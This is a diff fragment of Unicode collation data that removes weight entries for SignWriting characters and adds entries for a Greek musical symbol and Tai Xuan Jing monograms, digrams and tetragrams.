-1D902 ; [*18D1.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER FOUR RAISED KNUCKLES
-1D903 ; [*18D2.0020.0002] # SIGNWRITING HAND-FIST
-1D904 ; [*18D3.0020.0002] # SIGNWRITING HAND-FIST HEEL
-1D905 ; [*18D4.0020.0002] # SIGNWRITING TOUCH SINGLE
-1D906 ; [*18D5.0020.0002] # SIGNWRITING TOUCH MULTIPLE
-1D907 ; [*18D6.0020.0002] # SIGNWRITING TOUCH BETWEEN
-1D908 ; [*18D7.0020.0002] # SIGNWRITING GRASP SINGLE
-1D909 ; [*18D8.0020.0002] # SIGNWRITING GRASP MULTIPLE
-1D90A ; [*18D9.0020.0002] # SIGNWRITING GRASP BETWEEN
-1D90B ; [*18DA.0020.0002] # SIGNWRITING STRIKE SINGLE
-1D90C ; [*18DB.0020.0002] # SIGNWRITING STRIKE MULTIPLE
-1D90D ; [*18DC.0020.0002] # SIGNWRITING STRIKE BETWEEN
-1D90E ; [*18DD.0020.0002] # SIGNWRITING BRUSH SINGLE
-1D90F ; [*18DE.0020.0002] # SIGNWRITING BRUSH MULTIPLE
-1D910 ; [*18DF.0020.0002] # SIGNWRITING BRUSH BETWEEN
-1D911 ; [*18E0.0020.0002] # SIGNWRITING RUB SINGLE
-1D912 ; [*18E1.0020.0002] # SIGNWRITING RUB MULTIPLE
-1D913 ; [*18E2.0020.0002] # SIGNWRITING RUB BETWEEN
-1D914 ; [*18E3.0020.0002] # SIGNWRITING SURFACE SYMBOLS
-1D915 ; [*18E4.0020.0002] # SIGNWRITING SURFACE BETWEEN
-1D916 ; [*18E5.0020.0002] # SIGNWRITING SQUEEZE LARGE SINGLE
-1D917 ; [*18E6.0020.0002] # SIGNWRITING SQUEEZE SMALL SINGLE
-1D918 ; [*18E7.0020.0002] # SIGNWRITING SQUEEZE LARGE MULTIPLE
-1D919 ; [*18E8.0020.0002] # SIGNWRITING SQUEEZE SMALL MULTIPLE
-1D91A ; [*18E9.0020.0002] # SIGNWRITING SQUEEZE SEQUENTIAL
-1D91B ; [*18EA.0020.0002] # SIGNWRITING FLICK LARGE SINGLE
-1D91C ; [*18EB.0020.0002] # SIGNWRITING FLICK SMALL SINGLE
-1D91D ; [*18EC.0020.0002] # SIGNWRITING FLICK LARGE MULTIPLE
-1D91E ; [*18ED.0020.0002] # SIGNWRITING FLICK SMALL MULTIPLE
-1D91F ; [*18EE.0020.0002] # SIGNWRITING FLICK SEQUENTIAL
-1D920 ; [*18EF.0020.0002] # SIGNWRITING SQUEEZE FLICK ALTERNATING
-1D921 ; [*18F0.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN LARGE
-1D922 ; [*18F1.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN SMALL
-1D923 ; [*18F2.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP SEQUENTIAL
-1D924 ; [*18F3.0020.0002] # SIGNWRITING MOVEMENT-HINGE DOWN SEQUENTIAL
-1D925 ; [*18F4.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING LARGE
-1D926 ; [*18F5.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING SMALL
-1D927 ; [*18F6.0020.0002] # SIGNWRITING MOVEMENT-HINGE SIDE TO SIDE SCISSORS
-1D928 ; [*18F7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CONTACT
-1D929 ; [*18F8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CONTACT
-1D92A ; [*18F9.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT SMALL
-1D92B ; [*18FA.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT MEDIUM
-1D92C ; [*18FB.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGE
-1D92D ; [*18FC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGEST
-1D92E ; [*18FD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE WRIST FLEX
-1D92F ; [*18FE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE STRAIGHT
-1D930 ; [*18FF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE WRIST FLEX
-1D931 ; [*1900.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING
-1D932 ; [*1901.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE DOUBLE ALTERNATING WRIST FLEX
-1D933 ; [*1902.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CROSS
-1D934 ; [*1903.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE STRAIGHT MOVEMENT
-1D935 ; [*1904.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE WRIST FLEX
-1D936 ; [*1905.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING
-1D937 ; [*1906.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE TRIPLE ALTERNATING WRIST FLEX
-1D938 ; [*1907.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND SMALL
-1D939 ; [*1908.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND MEDIUM
-1D93A ; [*1909.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BEND LARGE
-1D93B ; [*190A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER SMALL
-1D93C ; [*190B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER MEDIUM
-1D93D ; [*190C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER LARGE
-1D93E ; [*190D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CORNER ROTATION
-1D93F ; [*190E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK SMALL
-1D940 ; [*190F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK MEDIUM
-1D941 ; [*1910.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CHECK LARGE
-1D942 ; [*1911.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX SMALL
-1D943 ; [*1912.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX MEDIUM
-1D944 ; [*1913.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE BOX LARGE
-1D945 ; [*1914.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG SMALL
-1D946 ; [*1915.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG MEDIUM
-1D947 ; [*1916.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG LARGE
-1D948 ; [*1917.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS SMALL
-1D949 ; [*1918.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS MEDIUM
-1D94A ; [*1919.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS LARGE
-1D94B ; [*191A.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE SINGLE
-1D94C ; [*191B.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE DOUBLE
-1D94D ; [*191C.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE ALTERNATING
-1D94E ; [*191D.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE SINGLE
-1D94F ; [*191E.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE DOUBLE
-1D950 ; [*191F.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE ALTERNATING
-1D951 ; [*1920.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE SHAKING
-1D952 ; [*1921.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL SINGLE
-1D953 ; [*1922.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL DOUBLE
-1D954 ; [*1923.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL TRIPLE
-1D955 ; [*1924.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY SMALL
-1D956 ; [*1925.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY MEDIUM
-1D957 ; [*1926.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGE
-1D958 ; [*1927.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGEST
-1D959 ; [*1928.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS SMALL
-1D95A ; [*1929.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS MEDIUM
-1D95B ; [*192A.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGE
-1D95C ; [*192B.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGEST
-1D95D ; [*192C.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY SMALL
-1D95E ; [*192D.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY MEDIUM
-1D95F ; [*192E.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGE
-1D960 ; [*192F.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGEST
-1D961 ; [*1930.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS SMALL
-1D962 ; [*1931.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS MEDIUM
-1D963 ; [*1932.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGE
-1D964 ; [*1933.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGEST
-1D965 ; [*1934.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT SMALL
-1D966 ; [*1935.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT MEDIUM
-1D967 ; [*1936.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGE
-1D968 ; [*1937.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGEST
-1D969 ; [*1938.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE WRIST FLEX
-1D96A ; [*1939.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE STRAIGHT
-1D96B ; [*193A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE WRIST FLEX
-1D96C ; [*193B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING
-1D96D ; [*193C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING WRIST FLEX
-1D96E ; [*193D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CROSS
-1D96F ; [*193E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE STRAIGHT MOVEMENT
-1D970 ; [*193F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE WRIST FLEX
-1D971 ; [*1940.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING MOVEMENT
-1D972 ; [*1941.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING WRIST FLEX
-1D973 ; [*1942.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BEND
-1D974 ; [*1943.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER SMALL
-1D975 ; [*1944.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER MEDIUM
-1D976 ; [*1945.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER LARGE
-1D977 ; [*1946.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CHECK
-1D978 ; [*1947.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX SMALL
-1D979 ; [*1948.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX MEDIUM
-1D97A ; [*1949.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX LARGE
-1D97B ; [*194A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG SMALL
-1D97C ; [*194B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG MEDIUM
-1D97D ; [*194C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG LARGE
-1D97E ; [*194D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS SMALL
-1D97F ; [*194E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS MEDIUM
-1D980 ; [*194F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS LARGE
-1D981 ; [*1950.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE SINGLE
-1D982 ; [*1951.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE DOUBLE
-1D983 ; [*1952.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE ALTERNATING
-1D984 ; [*1953.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE SINGLE
-1D985 ; [*1954.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE DOUBLE
-1D986 ; [*1955.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE ALTERNATING
-1D987 ; [*1956.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE SHAKING
-1D988 ; [*1957.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER SMALL
-1D989 ; [*1958.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER MEDIUM
-1D98A ; [*1959.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGE
-1D98B ; [*195A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGEST
-1D98C ; [*195B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE SMALL
-1D98D ; [*195C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE MEDIUM
-1D98E ; [*195D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGE
-1D98F ; [*195E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGEST
-1D990 ; [*195F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE SMALL
-1D991 ; [*1960.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE MEDIUM
-1D992 ; [*1961.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP SMALL
-1D993 ; [*1962.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP MEDIUM
-1D994 ; [*1963.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP LARGE
-1D995 ; [*1964.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL
-1D996 ; [*1965.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP MEDIUM
-1D997 ; [*1966.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP LARGE
-1D998 ; [*1967.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL DOUBLE
-1D999 ; [*1968.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE SMALL
-1D99A ; [*1969.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE MEDIUM
-1D99B ; [*196A.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE LARGE
-1D99C ; [*196B.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE SMALL
-1D99D ; [*196C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE MEDIUM
-1D99E ; [*196D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE LARGE
-1D99F ; [*196E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THEN STRAIGHT
-1D9A0 ; [*196F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS SMALL
-1D9A1 ; [*1970.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS MEDIUM
-1D9A2 ; [*1971.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE
-1D9A3 ; [*1972.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE
-1D9A4 ; [*1973.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATE
-1D9A5 ; [*1974.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SHAKING
-1D9A6 ; [*1975.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING FRONT WALL
-1D9A7 ; [*1976.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING FRONT WALL
-1D9A8 ; [*1977.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING FRONT WALL
-1D9A9 ; [*1978.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING FRONT WALL
-1D9AA ; [*1979.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING FRONT WALL
-1D9AB ; [*197A.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING FRONT WALL
-1D9AC ; [*197B.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING FRONT WALL
-1D9AD ; [*197C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING CHEST
-1D9AE ; [*197D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING CHEST
-1D9AF ; [*197E.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING CHEST
-1D9B0 ; [*197F.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING CHEST
-1D9B1 ; [*1980.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING CHEST
-1D9B2 ; [*1981.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING CHEST
-1D9B3 ; [*1982.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING CHEST
-1D9B4 ; [*1983.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH SMALL
-1D9B5 ; [*1984.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH MEDIUM
-1D9B6 ; [*1985.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH LARGE
-1D9B7 ; [*1986.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING SMALL
-1D9B8 ; [*1987.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING LARGE
-1D9B9 ; [*1988.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL DOUBLE
-1D9BA ; [*1989.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE DOUBLE
-1D9BB ; [*198A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL TRIPLE
-1D9BC ; [*198B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE TRIPLE
-1D9BD ; [*198C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL SINGLE
-1D9BE ; [*198D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE SINGLE
-1D9BF ; [*198E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL DOUBLE
-1D9C0 ; [*198F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE DOUBLE
-1D9C1 ; [*1990.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING SMALL
-1D9C2 ; [*1991.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING LARGE
-1D9C3 ; [*1992.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING CEILING
-1D9C4 ; [*1993.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING CEILING
-1D9C5 ; [*1994.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING CEILING
-1D9C6 ; [*1995.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR SMALL
-1D9C7 ; [*1996.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR LARGE
-1D9C8 ; [*1997.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR SMALL DOUBLE
-1D9C9 ; [*1998.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR LARGE DOUBLE
-1D9CA ; [*1999.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE SMALL TRIPLE
-1D9CB ; [*199A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE LARGE TRIPLE
-1D9CC ; [*199B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL SINGLE
-1D9CD ; [*199C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE SINGLE
-1D9CE ; [*199D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL DOUBLE
-1D9CF ; [*199E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE DOUBLE
-1D9D0 ; [*199F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR SMALL
-1D9D1 ; [*19A0.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR LARGE
-1D9D2 ; [*19A1.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING FLOOR
-1D9D3 ; [*19A2.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING FLOOR
-1D9D4 ; [*19A3.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING FLOOR
-1D9D5 ; [*19A4.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE SMALL
-1D9D6 ; [*19A5.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE MEDIUM
-1D9D7 ; [*19A6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGE
-1D9D8 ; [*19A7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGEST
-1D9D9 ; [*19A8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE COMBINED
-1D9DA ; [*19A9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP SMALL
-1D9DB ; [*19AA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP SMALL
-1D9DC ; [*19AB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SNAKE
-1D9DD ; [*19AC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SMALL
-1D9DE ; [*19AD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE LARGE
-1D9DF ; [*19AE.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE
-1D9E0 ; [*19AF.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE
-1D9E1 ; [*19B0.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING
-1D9E2 ; [*19B1.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SHAKING PARALLEL
-1D9E3 ; [*19B2.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL SINGLE
-1D9E4 ; [*19B3.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM SINGLE
-1D9E5 ; [*19B4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL DOUBLE
-1D9E6 ; [*19B5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM DOUBLE
-1D9E7 ; [*19B6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL SINGLE
-1D9E8 ; [*19B7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM SINGLE
-1D9E9 ; [*19B8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE SINGLE
-1D9EA ; [*19B9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL DOUBLE
-1D9EB ; [*19BA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM DOUBLE
-1D9EC ; [*19BB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE DOUBLE
-1D9ED ; [*19BC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT SINGLE
-1D9EE ; [*19BD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT DOUBLE
-1D9EF ; [*19BE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL SINGLE
-1D9F0 ; [*19BF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL DOUBLE
-1D9F1 ; [*19C0.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES SINGLE
-1D9F2 ; [*19C1.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES DOUBLE
-1D9F3 ; [*19C2.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL SINGLE
-1D9F4 ; [*19C3.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL DOUBLE
-1D9F5 ; [*19C4.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD SMALL
-1D9F6 ; [*19C5.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD LARGE
-1D9F7 ; [*19C6.0020.0002] # SIGNWRITING DYNAMIC FAST
-1D9F8 ; [*19C7.0020.0002] # SIGNWRITING DYNAMIC SLOW
-1D9F9 ; [*19C8.0020.0002] # SIGNWRITING DYNAMIC TENSE
-1D9FA ; [*19C9.0020.0002] # SIGNWRITING DYNAMIC RELAXED
-1D9FB ; [*19CA.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS
-1D9FC ; [*19CB.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS ALTERNATING
-1D9FD ; [*19CC.0020.0002] # SIGNWRITING DYNAMIC EVERY OTHER TIME
-1D9FE ; [*19CD.0020.0002] # SIGNWRITING DYNAMIC GRADUAL
-1D9FF ; [*19CE.0020.0002] # SIGNWRITING HEAD
+1D245 ; [*11C5.0020.0002] # GREEK MUSICAL LEIMMA
+1D300 ; [*0EEA.0020.0002] # MONOGRAM FOR EARTH
+1D301 ; [*0EEB.0020.0002] # DIGRAM FOR HEAVENLY EARTH
+1D302 ; [*0EEC.0020.0002] # DIGRAM FOR HUMAN EARTH
+1D303 ; [*0EED.0020.0002] # DIGRAM FOR EARTHLY HEAVEN
+1D304 ; [*0EEE.0020.0002] # DIGRAM FOR EARTHLY HUMAN
+1D305 ; [*0EEF.0020.0002] # DIGRAM FOR EARTH
+1D306 ; [*0EF0.0020.0002] # TETRAGRAM FOR CENTRE
+1D307 ; [*0EF1.0020.0002] # TETRAGRAM FOR FULL CIRCLE
+1D308 ; [*0EF2.0020.0002] # TETRAGRAM FOR MIRED
+1D309 ; [*0EF3.0020.0002] # TETRAGRAM FOR BARRIER
+1D30A ; [*0EF4.0020.0002] # TETRAGRAM FOR KEEPING SMALL
+1D30B ; [*0EF5.0020.0002] # TETRAGRAM FOR CONTRARIETY
+1D30C ; [*0EF6.0020.0002] # TETRAGRAM FOR ASCENT
+1D30D ; [*0EF7.0020.0002] # TETRAGRAM FOR OPPOSITION
+1D30E ; [*0EF8.0020.0002] # TETRAGRAM FOR BRANCHING OUT
+1D30F ; [*0EF9.0020.0002] # TETRAGRAM FOR DEFECTIVENESS OR DISTORTION
+1D310 ; [*0EFA.0020.0002] # TETRAGRAM FOR DIVERGENCE
+1D311 ; [*0EFB.0020.0002] # TETRAGRAM FOR YOUTHFULNESS
